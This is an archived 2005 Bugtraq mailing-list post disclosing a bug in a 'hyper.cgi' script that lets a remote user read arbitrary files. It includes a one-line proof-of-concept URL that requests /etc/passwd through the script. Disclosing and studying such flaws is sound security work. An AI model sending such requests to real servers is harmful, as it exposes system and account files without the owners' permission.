hyper.cgi script file show bug

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: hyper.cgi script file show bug
From: fireboy fireboy <fireboynet@xxxxxxxxxxxx>
Date: 24 Apr 2005 21:09:50 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm


Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx



THERE IS A BUG IN hyper.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/hyper.cgi?/etc/passwd


greetz to all magattack members www.magattack.tk

Prev by Date: [INetCop Security Advisory] Snmppd potentially format string vulnerability.
Next by Date: remote command execution in citat.pl script
Previous by thread: [INetCop Security Advisory] Snmppd potentially format string vulnerability.
Next by thread: remote command execution in citat.pl script
Index(es):
- Date
- Thread